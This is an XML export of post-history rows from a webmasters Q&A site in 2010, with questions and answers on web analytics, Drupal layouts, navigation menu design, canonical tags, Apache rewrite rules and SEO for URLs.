  <row Id="10876" PostHistoryTypeId="5" PostId="5446" RevisionGUID="e31f3336-eee8-4911-a6df-491f51a44fb4" CreationDate="2010-11-14T20:30:31.253" UserId="2840" Comment="added 434 characters in body; added 4 characters in body" Text="I like [Cliky][1], who is pretty interesting.&#xD;&#xA;&#xD;&#xA;&gt;Clicky is a real time web analytics service. This means that when you login and view your stats, you are seeing up to the minute data on the traffic to your web site. Most services don't let you see what's happening &quot;today&quot; until the day after.&#xD;&#xA;&#xD;&#xA;But, there is maybe a problem for the traffic, here what they say when you register:&#xD;&#xA;&#xD;&#xA;&gt;Please note, we cannot currently accept any sites that receive more than 500,000 daily page views.&#xD;&#xA;&#xD;&#xA;  [1]: http://getclicky.com/66351581" />
  <row Id="10877" PostHistoryTypeId="2" PostId="5447" RevisionGUID="bf6e5f55-7757-4c09-92e1-9d697de2d225" CreationDate="2010-11-14T20:57:26.813" UserId="3222" Text="CCK deals primarily with data structure, and a little with display. The mentioned layout would not be possible with CCK alone.&#xD;&#xA;&#xD;&#xA;Two distinct methods immediately come to mind, for achieving a complex layout.&#xD;&#xA;&#xD;&#xA;1) custom theming&#xD;&#xA;&#xD;&#xA;This is definitely more of a hands-on approach.  Create a custom .tpl.php file. The name could be something like node-123.tpl.php, for overriding the display of a particular node.  Inside it, create your custom markup, insert the specific variables from the node ($node-&gt;item), and format using CSS.&#xD;&#xA;&#xD;&#xA;2) Panels module&#xD;&#xA;&#xD;&#xA;This requires installing the panels module (http://drupal.org/project/panels) and learning the basics of how it works.  But this could arguably be the easiest, most flexible, and most maintainable method of implementing a complex layout. It includes a layout builder GUI to create custom and complex layouts, with unlimited nested rows and columns. It generates all of the needed divs and css for you. Into each region that you create using the layout builder, you can insert pretty much anything: menus, blocks, views, existing nodes, custom content, etc." />
  <row Id="10878" PostHistoryTypeId="2" PostId="5448" RevisionGUID="b26be34d-1e7e-48cd-80aa-85e318967523" CreationDate="2010-11-14T21:22:12.260" UserId="132" Text="I've long wondered if there should be a preference for using horizontal navigation menus, or vertical ones. I've used both before, on various websites, and can see each having pros and cons.&#xD;&#xA;&#xD;&#xA;Is there any concrete data available on this subject? I'm interested in accessibility and usability concerns." />
  <row Id="10879" PostHistoryTypeId="1" PostId="5448" RevisionGUID="b26be34d-1e7e-48cd-80aa-85e318967523" CreationDate="2010-11-14T21:22:12.260" UserId="132" Text="Pros and cons of horizontal menus versus vertical?" />
  <row Id="10880" PostHistoryTypeId="3" PostId="5448" RevisionGUID="b26be34d-1e7e-48cd-80aa-85e318967523" CreationDate="2010-11-14T21:22:12.260" UserId="132" Text="&lt;usability&gt;&lt;accessibility&gt;&lt;navigation&gt;" />
  <row Id="10881" PostHistoryTypeId="2" PostId="5449" RevisionGUID="d67606e2-c094-4b78-973c-f8977700b072" CreationDate="2010-11-14T23:52:56.597" UserId="233" Text="Google indexes certain documents like PDFs and Word files perfectly fine. But it places a much larger weight on regular web pages. This is mainly to avoid &quot;breaking the web&quot; by forcing the user into a different program (Adobe Reader etc). Cross-platform compatibility is an issue too.&#xD;&#xA;&#xD;&#xA;The best way to get your documents ranking higher is search engines is to convert them to web pages. You could convert them to static, isolated web pages (there are surely many converter apps around), although  integratimg them into your site design would be much more effective. You can then include appropriate titles and headings, which aid in ranking, as well as cross-linking documents." />
  <row Id="10882" PostHistoryTypeId="2" PostId="5450" RevisionGUID="2afc79e2-8b32-41ee-8277-bb1a784e9ba0" CreationDate="2010-11-15T00:00:07.323" UserId="233" Text="Have you tried [Google Analytics][1]? It's free and very reliable. If you have a HUGE amount of traffic you may have problems, but I doubt you are anywhere near that level yet.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/&#xD;&#xA;" />
  <row Id="10883" PostHistoryTypeId="2" PostId="5451" RevisionGUID="d74261b0-fd1b-4ef4-9cac-9962651b1ab2" CreationDate="2010-11-15T00:07:44.557" UserId="2288" Text="Pretty simple, you tell me, what is easier to read: ABCDEFGHIJKLMNOPQRSTUVWXYZ... or&#xD;&#xA;&#xD;&#xA;    A&#xD;&#xA;    B&#xD;&#xA;    C&#xD;&#xA;    D&#xD;&#xA;    E&#xD;&#xA;    F&#xD;&#xA;    G&#xD;&#xA;    H&#xD;&#xA;    I&#xD;&#xA;    J&#xD;&#xA;    K&#xD;&#xA;    L&#xD;&#xA;    M&#xD;&#xA;    N&#xD;&#xA;    O&#xD;&#xA;    P&#xD;&#xA;    Q&#xD;&#xA;    R&#xD;&#xA;    S&#xD;&#xA;    T&#xD;&#xA;    U&#xD;&#xA;    V&#xD;&#xA;    W&#xD;&#xA;    X&#xD;&#xA;    Y&#xD;&#xA;    Z&#xD;&#xA;&#xD;&#xA;When you're reading it, think about how your eye moves. With the first example, it's - - - etc. With the second example, it's Z Z Z etc; meaning your eye moves in a Z pattern. With the Z pattern your has to think more about the next point of information, than with the first. The closer a piece of information is to the last piece of information the easier it is to use. The more compact information is the better, you can always add space, but some information will only compact so far. For example, I can add more space like this, but it's still shorter in length if your measure the longest end to example 2: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z&#xD;&#xA;&#xD;&#xA;I'm sure someone will post research or something, might even say I'm wrong, but fact is the my logic is simple enough that I understand it, it makes sense to me, and I don't need fancy report to tell me that it's right, or wrong... because I'm guessing that fancy report won't make sense, and is just a sample of data based on the structure of the test given...&#xD;&#xA;&#xD;&#xA;So, what do you think? " />
  <row Id="10884" PostHistoryTypeId="2" PostId="5452" RevisionGUID="62f2303f-4758-43a0-8304-c04dc74fa92c" CreationDate="2010-11-15T00:16:06.100" UserId="1243" Text="If you have menu items of one or more words then there is a physical limit to how many will fit into a horizontal menu before a scroll is required. So, for this reason I would tend to favour the horizontal menu for main/top level items." />
  <row Id="10885" PostHistoryTypeId="5" PostId="5452" RevisionGUID="d15024a7-b01b-4751-8d87-1290db920f13" CreationDate="2010-11-15T00:21:57.190" UserId="1243" Comment="added 182 characters in body" Text="If you have menu items of one or more words then there is a physical limit to how many will fit into a horizontal menu before a scroll is required. So, for this reason I would tend to favour the horizontal menu for main/top level items.&#xD;&#xA;&#xD;&#xA;Regarding accessibility (assuming it's visually OK) there might not be much of a difference, since they could well be marked up the same. An unordered list of links for instance." />
  <row Id="10886" PostHistoryTypeId="2" PostId="5453" RevisionGUID="909af059-5a73-4514-831c-224261bec8d6" CreationDate="2010-11-15T00:58:21.020" UserId="233" Text="Are you (or whoever did the search) using an ad blocker? They often block tracking scripts like GA.&#xD;&#xA;&#xD;&#xA;Also make sure it's not anything silly like the code not actually being on the page you go to, or you've told GA to ignore your IP address, or you have JS disabled. Make sure you are checking in the correct date range and checking every search term in the list.&#xD;&#xA;&#xD;&#xA;Perhaps try removing that custom code temporarily to check that it's not the cause of the problem.&#xD;&#xA;&#xD;&#xA;I don't know if GA does actually log every search term. For example it may not log long exact queries (in quotes) and it may not log things like `site:` queries." />
  <row Id="10887" PostHistoryTypeId="5" PostId="5451" RevisionGUID="5d276c39-b643-4cc6-abdd-e9cbb3166321" CreationDate="2010-11-15T01:07:02.010" UserId="2288" Comment="added 4 characters in body" Text="Pretty simple, you tell me, what is easier to read: ABCDEFGHIJKLMNOPQRSTUVWXYZ... or&#xD;&#xA;&#xD;&#xA;    A&#xD;&#xA;    B&#xD;&#xA;    C&#xD;&#xA;    D&#xD;&#xA;    E&#xD;&#xA;    F&#xD;&#xA;    G&#xD;&#xA;    H&#xD;&#xA;    I&#xD;&#xA;    J&#xD;&#xA;    K&#xD;&#xA;    L&#xD;&#xA;    M&#xD;&#xA;    N&#xD;&#xA;    O&#xD;&#xA;    P&#xD;&#xA;    Q&#xD;&#xA;    R&#xD;&#xA;    S&#xD;&#xA;    T&#xD;&#xA;    U&#xD;&#xA;    V&#xD;&#xA;    W&#xD;&#xA;    X&#xD;&#xA;    Y&#xD;&#xA;    Z&#xD;&#xA;&#xD;&#xA;When you're reading it, think about how your eye moves. With the first example, it's - - - etc. With the second example, it's Z Z Z etc; meaning your eye moves in a Z pattern. With the Z pattern your eye has to think more about the next point of information, than with the first. The closer a piece of information is to the last piece of information the easier it is to use. The more compact information is the better, you can always add space, but some information will only compact so far. For example, I can add more space like this, but it's still shorter in length if your measure the longest end to example 2: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z&#xD;&#xA;&#xD;&#xA;I'm sure someone will post research or something, might even say I'm wrong, but fact is the my logic is simple enough that I understand it, it makes sense to me, and I don't need fancy report to tell me that it's right, or wrong... because I'm guessing that fancy report won't make sense, and is just a sample of data based on the structure of the test given...&#xD;&#xA;&#xD;&#xA;So, what do you think? " />
  <row Id="10888" PostHistoryTypeId="2" PostId="5454" RevisionGUID="b8445bec-abdd-4e15-ac5d-1819545fd53d" CreationDate="2010-11-15T01:07:44.957" UserId="233" Text="I'm going to post the opposite of blunders' answer...&#xD;&#xA;&#xD;&#xA;Although we read left-to-right, we tend to scan top-to-bottom. If menu items are arranged vertically, it is easier to compare items quickly if they are above each other.&#xD;&#xA;&#xD;&#xA;If you have only a handful of links, horizontal is fine. Keep the names short but clear and have no more than 6-7. Of course, the other option is a combination - a few 'headers' horizontally with hover dropdowns of everything in that category." />
  <row Id="10889" PostHistoryTypeId="2" PostId="5455" RevisionGUID="ad5df664-ad40-4cad-8648-c7d64ffd5395" CreationDate="2010-11-15T01:38:21.890" UserId="1064" Text="The stateless nature of [HTTP][1] is going to make it difficult for you to get an accurate picture of how many users are viewing your site's content at a given time - a user may have downloaded content from your site and be in the process of reading that content even if the content were downloaded minutes or hours ago.&#xD;&#xA;&#xD;&#xA;One way to track how many users are actively browsing your site would be to create a server-side session for every hit - this method would not be ideal for high traffic situations if your server is already short on resources, given that each session stored on your server will require additional resources. The session timeout would also inevitably exclude users who are still viewing a piece of content beyond the window of the session timeout.&#xD;&#xA;&#xD;&#xA;The most effective way to see how many users have your content in an open window at a given time would be to add a Javascript timer to your content and, with that timer, make a small request - preferably to a secondary tracking server - every few seconds to indicate that the user is *still* viewing content from your site.&#xD;&#xA;&#xD;&#xA;I am not aware of any commercial services which implement *real-time* tracking in this manner, however, it would not be too difficult to put together your own if you are comfortable with asynchronous Javascript and a server-side scripting language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol" />
  <row Id="10890" PostHistoryTypeId="2" PostId="5456" RevisionGUID="17b8f090-acf3-4482-a446-ad5780e3b533" CreationDate="2010-11-15T02:58:37.953" UserId="1953" Text="The Advanced segments as Danlefree mentioned are the easiest method. It sounded from your question like you're wanting to separate them into a different profile, if for some reason that is the case you can do this by creating an additional profile and using the filter to filter out all visits that are not from Europe. " />
  <row Id="10891" PostHistoryTypeId="2" PostId="5457" RevisionGUID="e1d6dc15-e990-4079-b290-118e75431465" CreationDate="2010-11-15T03:21:47.020" UserId="1953" Text="One of the issues with duplicate content is that links can be split across several versions of your page, it was my understanding the a 301 redirect is really the only option for retaining some of the link juice, however, looking at some answers here and on other forums it looks like some people believe the canonical tag will have the same effect as a 301 (in the search engines eyes). &#xD;&#xA;&#xD;&#xA;Does the canonical tag tell the search engines that the links pointing to duplicate pages should count for the original or does it simply tell them which version of the page you want indexed? " />
  <row Id="10892" PostHistoryTypeId="1" PostId="5457" RevisionGUID="e1d6dc15-e990-4079-b290-118e75431465" CreationDate="2010-11-15T03:21:47.020" UserId="1953" Text="Does Rel=Canonical Pass PR from Links or Just Fix Dup Content" />
  <row Id="10893" PostHistoryTypeId="3" PostId="5457" RevisionGUID="e1d6dc15-e990-4079-b290-118e75431465" CreationDate="2010-11-15T03:21:47.020" UserId="1953" Text="&lt;seo&gt;&lt;google&gt;&lt;canonical-url&gt;" />
  <row Id="10894" PostHistoryTypeId="2" PostId="5458" RevisionGUID="6be1e27d-2c4b-4d90-bf2a-c78ec44b858f" CreationDate="2010-11-15T04:00:02.140" UserId="3224" Text="Does anyone know if Google News properly indexes HTML5 websites?&#xD;&#xA;&#xD;&#xA;For example, since HTML5 allows for &lt;header&gt; to have an h1 tag (instead of having it where the heading tags are done downward, i.e. the article gets h1, a sub section would get h2, the sidebar navigation gets h3, etc.), if I had the &lt;article&gt; tag have an h1, would Google News get confused or do they already support &lt;article&gt; and would notice the h1 and index as they normally do for an HTML4/XHTML page?" />
  <row Id="10895" PostHistoryTypeId="1" PostId="5458" RevisionGUID="6be1e27d-2c4b-4d90-bf2a-c78ec44b858f" CreationDate="2010-11-15T04:00:02.140" UserId="3224" Text="Does Google News index HTML5 websites?" />
  <row Id="10896" PostHistoryTypeId="3" PostId="5458" RevisionGUID="6be1e27d-2c4b-4d90-bf2a-c78ec44b858f" CreationDate="2010-11-15T04:00:02.140" UserId="3224" Text="&lt;html5&gt;&lt;google-news&gt;" />
  <row Id="10897" PostHistoryTypeId="2" PostId="5459" RevisionGUID="1d896aec-2d1d-4ac8-bc38-edf77647746a" CreationDate="2010-11-15T04:00:18.053" UserId="1253" Text="It just fixes duplicate content issues by telling the search engines which page is the &quot;main page&quot; that they should list in their index. It's not an actual link and thus does not pass PR." />
  <row Id="10898" PostHistoryTypeId="5" PostId="5459" RevisionGUID="cf4d02a5-1833-48b8-9f48-10305e2101ae" CreationDate="2010-11-15T04:19:13.583" UserId="1253" Comment="added 559 characters in body" Text="&lt;s&gt;It just fixes duplicate content issues by telling the search engines which page is the &quot;main page&quot; that they should list in their index. It's not an actual link and thus does not pass PR.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;&gt; Additional URL properties, like&#xD;&#xA;&gt; PageRank and related signals, are&#xD;&#xA;&gt; transferred as well.&#xD;&#xA;&#xD;&#xA;Quoted from the link below. I either missed or forgot that part since I read that blog post. Based on that sentence I would say the &quot;main&quot; canonical URL would receive the PR of all of the children URLs that point to it. So if http://www.example.com/page1.html was the main URL and http://www.example.com/page2.html was a canonical URL then a link to http://www.example.com/page2.html would be essentially a link to http://www.example.com/page1.html. " />
  <row Id="10899" PostHistoryTypeId="2" PostId="5460" RevisionGUID="af5dec0c-97f1-44b3-91c2-573eb3449d5d" CreationDate="2010-11-15T04:31:38.333" UserId="1757" Text="Aside from space issues and the ease of scanning, there are a few other factors you should take into account:&#xD;&#xA;&#xD;&#xA;Horizontally-arranged menus (of horizontally arranged languages) means more mouse movement to get from one item to the next.&#xD;&#xA;&#xD;&#xA;However, it will be easier to go from a top-level menu item in a horizontal menu to its corresponding dropdown menu than it is to go from a vertical menu item to its corresponding flyout menu. The diagonal problem is greatly magnified in flyouts as compared to dropdowns because the shared edge is so much smaller.&#xD;&#xA;&#xD;&#xA;And then there's the issue of targeting speed. Vertically-arranged menus have more &quot;depth&quot; than horizontal menus. That means the user can move his mouse at a higher speed towards the menu, because they have a larger buffer in case they overshoot. Of course, if your horizontal menu is placed along the top or bottom edge of the document (i.e. infinite depth), then this is a moot point.&#xD;&#xA;&#xD;&#xA;In the end, I think it's a wash. Go with whatever fits your design the best and then optimize usability from there. You don't want to use a vertical menu if it means creating a huge empty column underneath it for the rest of the page. And you don't want to use a horizontal menu if it means your layout has to be 2000px wide." />
  <row Id="10903" PostHistoryTypeId="2" PostId="5462" RevisionGUID="90f87bad-4087-4513-85ab-7122d4f95275" CreationDate="2010-11-15T05:00:07.183" UserId="3228" Text="My traffic dropped recently in the last week. The most recent change was when I moved the entire server too another server. Could that affect my seo some how? What could have possibly happened? My main keywords for my website seem to be in the same rank, but I am getting less traffic from those keyword for some reason. Any ideas?" />
  <row Id="10904" PostHistoryTypeId="1" PostId="5462" RevisionGUID="90f87bad-4087-4513-85ab-7122d4f95275" CreationDate="2010-11-15T05:00:07.183" UserId="3228" Text="Drop in traffic, but same rank position - Why?" />
  <row Id="10905" PostHistoryTypeId="3" PostId="5462" RevisionGUID="90f87bad-4087-4513-85ab-7122d4f95275" CreationDate="2010-11-15T05:00:07.183" UserId="3228" Text="&lt;seo&gt;" />
  <row Id="10906" PostHistoryTypeId="2" PostId="5463" RevisionGUID="96ba7796-6716-48a6-a9a0-bdc66ab5b09b" CreationDate="2010-11-15T05:14:13.717" UserId="2288" Text="Rank does not relate to traffic. For example, you could be ranked 5th for &quot;snow shoes&quot; all year, but the traffic during the winter would be more than in the summer. That's an extreme example, but the point is that rank does not relate to traffic. If you've got Google's webmaster tools set up you might be able to get a better idea of what the traffic is on the query itself. Feel free to comment if you need more info, cheers!&#xD;&#xA;&#xD;&#xA;RE: &quot;The most recent change was when I moved the entire server too another server. Could that affect my seo some how?&quot;  Yes, it does, and would -- though how much is unknown. Since your rank didn't change, it must have not been a major factor." />
  <row Id="10907" PostHistoryTypeId="2" PostId="5464" RevisionGUID="46fec543-bf91-4e5d-9574-92d0212f0a51" CreationDate="2010-11-15T05:34:59.427" UserId="3229" Text="How about Google DFP - it nearly meets all your requirements (except for sending weekly stats) and you don't have to worry about hosting, upgrades, etc. &#xD;&#xA;&#xD;&#xA;Here's a &lt;a href=&quot;http://www.labnol.org/internet/google-dfp-tutorial/14099/&quot;&gt;quick tutorial&lt;/a&gt; to help you get started." />
  <row Id="10908" PostHistoryTypeId="2" PostId="5465" RevisionGUID="e2dd33f7-27f5-45c4-aaf5-5f81c57b544c" CreationDate="2010-11-15T05:38:29.537" UserId="3229" Text="Here's what Matt Cutts from Google has to say on the subject. &#xD;&#xA;&#xD;&#xA;http://www.youtube.com/watch?v=A96yDPqa2rs" />
  <row Id="10909" PostHistoryTypeId="2" PostId="5466" RevisionGUID="78a9583b-98ad-4db5-9dcc-13cc49c485be" CreationDate="2010-11-15T07:51:05.463" UserDisplayName="Joel" Text="I decided to convert all my dynamic pages to static pages URLs.&#xD;&#xA;I used to have &quot;/contactUS.php&quot; and now I want the page to be served as &quot;/contact-us&quot;.&#xD;&#xA;&#xD;&#xA;I used to following rule n .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^contact-us contactUS.php [NC,L]&#xD;&#xA;&#xD;&#xA;It all works fine, but the problem is that I want to prevent entrance to &quot;/contactUS.php&quot; to aviod duplicate content. Of course that adding the following rule:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^contactUS.php contact-us [NC,L]&#xD;&#xA;&#xD;&#xA;creates an infinite loop. What is the best way to achieve the goal, also taking SEO into account?" />
  <row Id="10910" PostHistoryTypeId="1" PostId="5466" RevisionGUID="78a9583b-98ad-4db5-9dcc-13cc49c485be" CreationDate="2010-11-15T07:51:05.463" UserDisplayName="Joel" Text="Redirecting dynamic pages to static pages URL" />
  <row Id="10911" PostHistoryTypeId="3" PostId="5466" RevisionGUID="78a9583b-98ad-4db5-9dcc-13cc49c485be" CreationDate="2010-11-15T07:51:05.463" UserDisplayName="Joel" Text="&lt;seo&gt;&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="10912" PostHistoryTypeId="2" PostId="5467" RevisionGUID="f8a3bcb2-bba8-4418-992e-e844f5b72898" CreationDate="2010-11-15T08:12:43.627" UserId="1757" Text="Re-write contact-us as contactUS.php.&#xD;&#xA;&#xD;&#xA;Redirect contactUS.php to contact-us." />
  <row Id="10913" PostHistoryTypeId="5" PostId="5466" RevisionGUID="f51c7663-c941-49ad-8c18-bf8b53f86001" CreationDate="2010-11-15T08:56:19.843" UserDisplayName="Joel" Comment="added 154 characters in body" Text="I decided to convert all my dynamic pages to static pages URLs.&#xD;&#xA;I used to have &quot;/contactUS.php&quot; and now I want the page to be served as &quot;/contact-us&quot;.&#xD;&#xA;&#xD;&#xA;I used to following rule n .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^contact-us contactUS.php [NC,L]&#xD;&#xA;&#xD;&#xA;It all works fine, but the problem is that I want to prevent entrance to &quot;/contactUS.php&quot; to aviod duplicate content. Of course that adding the following rule:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^contactUS.php contact-us [NC,L]&#xD;&#xA;&#xD;&#xA;creates an infinite loop. What is the best way to achieve the goal, also taking SEO into account?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;This causes an infinite loop:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^contact-us contactUS.php [NC,L]&#xD;&#xA;    RewriteRule ^contactUS.php contact-us [NC,R=301]" />
  <row Id="10914" PostHistoryTypeId="2" PostId="5468" RevisionGUID="4671d494-11a4-4d82-89a8-c3674286de7b" CreationDate="2010-11-14T11:06:21.907" UserId="1981" Text="I understand there is a need of placing different categories of resources in separate folders for the sake of organization. But is there any noticeable decrease in page load speeds accompanied with it that adds up as you add more and more folders or go deeper folder within folder and so on?" />
  <row Id="10915" PostHistoryTypeId="1" PostId="5468" RevisionGUID="4671d494-11a4-4d82-89a8-c3674286de7b" CreationDate="2010-11-14T11:06:21.907" UserId="1981" Text="Is there any overhead on making my webapp traverse more folders?" />
  <row Id="10916" PostHistoryTypeId="3" PostId="5468" RevisionGUID="4671d494-11a4-4d82-89a8-c3674286de7b" CreationDate="2010-11-14T11:06:21.907" UserId="1981" Text="&lt;design&gt;&lt;speed&gt;" />
  <row Id="10917" PostHistoryTypeId="17" PostId="5468" RevisionGUID="6e76efe6-dd1c-42c1-ae6e-d401c93bac5a" CreationDate="2010-11-15T09:01:20.420" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9265/is-there-any-overhead-on-making-my-webapp-traverse-more-folders" Text="" />
  <row Id="10918" PostHistoryTypeId="5" PostId="5467" RevisionGUID="e3a0f8da-aaee-4aa6-bc2e-79be79052009" CreationDate="2010-11-15T09:02:41.853" UserId="1757" Comment="added 551 characters in body" Text="Re-write contact-us as contactUS.php.&#xD;&#xA;&#xD;&#xA;Redirect contactUS.php to contact-us.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Redirects and rewrites are 2 different things. In a redirect, the URL change happens client-side. In a rewrite, the URL change happens entirely server-side. I.e.:&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Redirect&lt;/h3&gt;&#xD;&#xA;&#xD;&#xA;    Client: GET /foo&#xD;&#xA;    Server: Location: /bar&#xD;&#xA;    Client: GET /bar&#xD;&#xA;    Server: [/bar]&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Rewrite&lt;/h3&gt;&#xD;&#xA;&#xD;&#xA;    Client: GET /foo&#xD;&#xA;    (Server: /foo --&gt; /bar)&#xD;&#xA;    Server: [/bar]&#xD;&#xA;&#xD;&#xA;So if you set up the above rewrite and redirect rules, the client will always navigate to `/contact-us`, while the server will always serve up `/contactUS.php`." />
  <row Id="10919" PostHistoryTypeId="5" PostId="5392" RevisionGUID="86c7538a-6daa-41f6-a6c0-fdb27fd25911" CreationDate="2010-11-15T09:39:30.290" UserId="1429" Comment="added 666 characters in body" Text="I know this question is someway similar to [this one][1] where they reccomend using 404, but after reading [this other one][2] where they suggest to use 301 when changing site urls (in the specific case was due to redesign/refactoring) I get a bit of confused and I hope someone could clarify for this specific example:&#xD;&#xA;&#xD;&#xA;1. Let's say I have an ecommerce site,&#xD;&#xA;&#xD;&#xA;2. let's also say the final user inserted some interesting items in the site and the ecommerce webapp created the item pages at the urls: `http://...?id=20`, `http://...?id=30` etc.&#xD;&#xA;&#xD;&#xA;3. Now let's say some of these interesting items got many external links toward them from many other sites because some people found those items very interesting and linked to them.&#xD;&#xA;&#xD;&#xA;4. After some years the final user deletes those items, so obviously the pages/urls `http://...?id=20`, `http://...?id=30`, etc. **now do not exist anymore, but still many pages on the web are linking toward them**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What should the ecommerce site do now, just show a 404 page for those items?**&#xD;&#xA;&#xD;&#xA;But, I'm confused, **wouldn't this loose all the Google PR passed by the external links to the items pages?** So isn't it better to use 301 redirect to HOME PAGE that at least passes the PR to the HOME PAGE?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Well, according to answeres **the best thing to do so far is to do a 404/410**.&#xD;&#xA;&#xD;&#xA;In order to make this question more complete, I would like to talk about a special case, just to make sure I understood. properly.&#xD;&#xA;&#xD;&#xA;Let's say the user creates those items again (the ones he previously deleted at point 4), maybe he changes a bit their names and description, but they are basically the same items. The webapp has no way to know these new added items were the old items so it obviously create them as new items with new urls `http://...?id=100`, `http://...?id=101`, **does it makes sense at this point to redirect 301 the old urls to the new ones?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3131/is-it-better-to-have-an-errordocument-404-redirect-back-to-the-homepage-or-a-stan/3135#3135&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2652/updating-redesign-website-how-to-retain-transfer-ranking" />
  <row Id="10921" PostHistoryTypeId="5" PostId="5467" RevisionGUID="dafd3ec7-a716-473c-9c55-40ac01d85e6b" CreationDate="2010-11-15T10:35:13.307" UserId="1757" Comment="added 352 characters in body" Text="Re-write contact-us as contactUS.php.&#xD;&#xA;&#xD;&#xA;Redirect contactUS.php to contact-us.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Redirects and rewrites are 2 different things. In a redirect, the URL change happens client-side. In a rewrite, the URL change happens entirely server-side. I.e.:&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Redirect&lt;/h3&gt;&#xD;&#xA;&#xD;&#xA;    Client: GET /foo&#xD;&#xA;    Server: Location: /bar&#xD;&#xA;    Client: GET /bar&#xD;&#xA;    Server: [/bar]&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Rewrite&lt;/h3&gt;&#xD;&#xA;&#xD;&#xA;    Client: GET /foo&#xD;&#xA;    (Server: /foo --&gt; /bar)&#xD;&#xA;    Server: [/bar]&#xD;&#xA;&#xD;&#xA;So if you set up the above rewrite and redirect rules, the client will always navigate to `/contact-us`, while the server will always serve up `/contactUS.php`.&#xD;&#xA;&#xD;&#xA;**Edit2:**&#xD;&#xA;&#xD;&#xA;Sorry, I forgot to mention that mod_rewrite applies rewrite rules to internal requests as well as client requests. So you need to add a rewrite condition to the redirect to prevent this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^contact-us$ contactUS.php [L]&#xD;&#xA;    RewriteCond %{ENV:REDIRECT_STATUS} !=200&#xD;&#xA;    RewriteRule ^contactUS.php$ contact-us [R=301]" />
  <row Id="10922" PostHistoryTypeId="2" PostId="5469" RevisionGUID="adaa914c-4f9a-43a6-a2a4-eedf357ad7d7" CreationDate="2010-11-15T10:39:33.227" UserId="1757" Text="No. The HTTP requests are a few bytes larger because the URI is longer, but that's negligible. But it shouldn't matter whether the file is 1 directory deep or 30 directories deep. AFAIK, it's a bigger problem when a single directory contains large numbers of files in it." />
  <row Id="10923" PostHistoryTypeId="2" PostId="5470" RevisionGUID="1339f1ea-61ed-4a58-859c-813727ad31af" CreationDate="2010-11-15T11:25:44.050" UserId="2748" Text="A simple logic. Just because no body visits your webpage like they used too, does not mean your website is not better to appear in top rank. So... I don't think traffic and rank are related." />
  <row Id="10924" PostHistoryTypeId="2" PostId="5471" RevisionGUID="19c0a03c-bd87-44ef-a501-b30d211655d4" CreationDate="2010-11-15T12:05:02.063" UserId="1429" Text="in the typical DB driven cms/ecommerce site you will have items pages at urls in some form similar to:&#xD;&#xA;&#xD;&#xA;    http://www.domain.com/item.php?id=36&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**1) Is it good for SEO purpose to add a sort of description (related to page contents) in url?** i.e.&#xD;&#xA;&#xD;&#xA;    http://www.domain.com/item.php?id=36&amp;descr=cheap-blue-jeans&#xD;&#xA;&#xD;&#xA;even if descr key is not needed by the webapp to retrieve item from DB, thus making **the url to work with/without the `descr` key and to show the same identical page.**&#xD;&#xA;&#xD;&#xA;I'm asking because for instance my profile on Pro Webmasters seem exactly to do this:&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/users/1429&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/users/1429/marco-demaio&#xD;&#xA;&#xD;&#xA;They are the same url, the `marco-demaio` value is not needed, only the `1429` value is needed to get my profile from DB.&#xD;&#xA;&#xD;&#xA;NOTE: in this last example I think also url rewrite is involved, but this question goes beyond urls rewrite, **I'm not interested in rewriting any url here** and to whoever is an url-rewrite-addict I would suggest to read this [Google official article][1].&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**2) Supposing the answer to (1) is yes or *almost yes*, do I need to do a redirect 301 (or use canonical)?** And if yes from `http://...?id=36&amp;descr=cheap-blue-jeans` to `http://...?id=36` or viceversa?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;3) Supposing answer to (2) is *&quot;yes you better do redirect&quot;*, why do I need a redirect (or canonical)? I mean **do I even need redirect/canonical when I'm absolutely sure that my webapp will never link to both pages**, so you will never find in the site the same page linked in two different ways (i.e. all link to id=36 will be in the form `http://...?id=36&amp;descr=cheap-blue-jeans` so why does Google should care about `http://...?id=36`, I mean it should never get even indexed and therefor I should not ever have duplicated contents issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you arrived here, thanks for the patience in reading into all this, and more thanks for any replies. :)&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2008/09/dynamic-urls-vs-static-urls.html" />
  <row Id="10925" PostHistoryTypeId="1" PostId="5471" RevisionGUID="19c0a03c-bd87-44ef-a501-b30d211655d4" CreationDate="2010-11-15T12:05:02.063" UserId="1429" Text="SEO: adding an unecessary description key in dynamic url is it good or not?" />
